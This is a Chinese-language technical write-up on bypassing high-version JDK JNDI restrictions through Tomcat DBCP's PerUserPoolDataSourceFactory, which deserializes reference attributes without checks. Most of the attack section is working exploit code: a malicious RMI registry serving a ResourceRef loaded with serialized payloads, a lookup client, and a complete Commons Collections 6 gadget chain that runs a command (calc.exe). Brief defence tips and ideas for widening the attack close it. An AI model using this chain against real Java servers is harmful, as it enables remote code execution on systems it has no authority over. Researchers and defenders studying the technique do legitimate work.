jndi +反序列化攻击绕过 jdk 限制技术学习
字数 1776 2025-08-23 18:31:18
JNDI + 反序列化攻击绕过 JDK 限制技术分析
前言
本文详细分析了一种利用 JNDI 注入结合反序列化漏洞绕过高版本 JDK 限制的攻击技术。该技术通过特定的工厂类 PerUserPoolDataSourceFactory 实现,能够在 JDK 高版本环境下成功执行任意代码。
技术背景
高版本 JDK 对 JNDI 注入攻击进行了多项防护措施,包括:
- 限制远程类加载
- 禁止从远程加载 ObjectFactory 类
- 对 LDAP/RMI 引用进行严格检查
传统 JNDI 注入攻击在这些限制下难以成功,因此需要寻找新的攻击面。
关键类分析
PerUserPoolDataSourceFactory 类
该类位于 org.apache.tomcat.dbcp.dbcp2.datasources 包中,是攻击的核心。关键方法分析如下:
getNewInstance 方法
protected InstanceKeyDataSource getNewInstance(Reference ref) throws IOException, ClassNotFoundException {
PerUserPoolDataSource pupds = new PerUserPoolDataSource();
// 多个属性处理逻辑...
ra = ref.get("perUserDefaultAutoCommit");
byte[] serialized;
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[]) ra.getContent());
pupds.setPerUserDefaultAutoCommit((Map) deserialize(serialized));
}
// 其他类似属性处理...
return pupds;
}
该方法的关键点在于:
- 从 Reference 对象中读取多个属性
- 对特定属性(如
perUserDefaultAutoCommit)调用deserialize方法进行反序列化 - 反序列化后的对象被强制转换为 Map 类型并设置到目标对象中
deserialize 方法
protected static final Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
ObjectInputStream in = null;
Object var2;
try {
in = new ObjectInputStream(new ByteArrayInputStream(data));
var2 = in.readObject();
} finally {
if (in != null) {
try {
in.close();
} catch (IOException var9) {
}
}
}
return var2;
}
该方法直接使用 ObjectInputStream 对传入的字节数组进行反序列化,没有任何防护措施,是攻击的入口点。
getObjectInstance 方法
public Object getObjectInstance(Object refObj, Name name, Context context, Hashtable<?, ?> env)
throws IOException, ClassNotFoundException {
Object obj = null;
if (refObj instanceof Reference) {
Reference ref = (Reference) refObj;
if (this.isCorrectClass(ref.getClassName())) {
RefAddr refAddr = ref.get("instanceKey");
if (refAddr != null && refAddr.getContent() != null) {
obj = instanceMap.get(refAddr.getContent());
} else {
String key = null;
if (name != null) {
key = name.toString();
obj = instanceMap.get(key);
}
if (obj == null) {
InstanceKeyDataSource ds = this.getNewInstance(ref);
this.setCommonProperties(ref, ds);
obj = ds;
if (key != null) {
instanceMap.put(key, ds);
}
}
}
}
}
return obj;
}
该方法的关键点:
- 检查传入的
refObj是否为Reference类型 - 通过
isCorrectClass方法验证类名 - 最终调用
getNewInstance方法
isCorrectClass 方法
protected boolean isCorrectClass(String className) {
return PER_USER_POOL_CLASSNAME.equals(className);
}
private static final String PER_USER_POOL_CLASSNAME = PerUserPoolDataSource.class.getName();
该方法要求传入的类名必须为 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource。
攻击构造
攻击流程
- 构造恶意的序列化数据(如 Commons Collections 6 链)
- 创建
ResourceRef对象,设置正确的类名和工厂类 - 将恶意序列化数据作为特定属性(如
perUserDefaultAutoCommit)添加到ResourceRef中 - 通过 RMI 或 LDAP 服务发布该引用
- 诱导目标访问该服务
完整攻击代码示例
服务端代码
public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(8888);
ResourceRef resourceRef = deser();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("deser", referenceWrapper);
System.out.println("Registry运行中......");
}
private static ResourceRef deser() throws IOException {
ResourceRef ref = new ResourceRef(
"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",
null, "", "", true,
"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory",
null);
// 添加多个可触发反序列化的属性
ref.add(new BinaryRefAddr("perUserDefaultAutoCommit",
Files.readAllBytes(Paths.get("1.bin"))));
ref.add(new BinaryRefAddr("perUserDefaultTransactionIsolation",
Files.readAllBytes(Paths.get("1.bin"))));
ref.add(new BinaryRefAddr("perUserMaxTotal",
Files.readAllBytes(Paths.get("1.bin"))));
// 可以添加更多属性...
return ref;
}
}
客户端代码
public class RMI_Cilent_ByPass {
public static void main(String[] args) throws Exception {
String string = "rmi://localhost:8888/deser";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
恶意序列化数据生成(CC6 链)
public class CC6 {
public static void main(String[] args) throws Exception {
// 无害的Transformer数组
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
// 实际执行的Transformer数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
// 替换为真正的transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
serialize2(expMap);
}
public static void serialize2(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
}
技术要点
- 类名要求:必须使用
org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource作为类名 - 工厂类指定:必须指定工厂类为
org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory - 反序列化触发点:可以通过多个属性触发反序列化,包括:
- perUserDefaultAutoCommit
- perUserDefaultTransactionIsolation
- perUserMaxTotal
- perUserMaxIdle
- perUserMaxWaitMillis
- perUserDefaultReadOnly
- 序列化数据:可以使用各种反序列化链(如 Commons Collections 链)构造恶意数据
防御建议
- 升级相关组件到最新版本
- 限制 JNDI 查找的可信来源
- 使用安全管理器限制反序列化操作
- 监控和过滤可疑的 JNDI 请求
- 使用
-Dcom.sun.jndi.object.trustURLCodebase=false参数禁用远程代码加载
扩展思考
- 其他类似的工厂类可能存在相同的安全问题
- 可以探索更多反序列化链的组合使用
- 在不同中间件环境下该技术的适用性需要进一步测试
- 结合其他漏洞(如 SSRF)可以扩大攻击面
总结
本文详细分析了一种利用 JNDI 注入结合反序列化漏洞绕过高版本 JDK 限制的攻击技术。通过特定的工厂类 PerUserPoolDataSourceFactory 及其反序列化方法,攻击者可以在受限环境下实现任意代码执行。防御方面需要综合采取多种措施,包括组件升级、配置加固和运行时监控等。